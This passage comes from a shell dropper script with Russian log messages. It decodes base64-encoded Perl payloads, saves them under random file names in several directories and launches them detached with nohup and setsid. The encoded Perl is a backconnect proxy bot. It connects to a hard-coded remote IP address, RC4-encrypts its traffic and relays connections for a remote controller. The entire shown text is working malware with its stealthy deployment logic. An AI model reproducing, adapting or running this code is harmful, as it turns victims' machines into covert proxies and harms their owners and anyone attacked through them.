KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #43 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #43 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 44 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xNTMnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 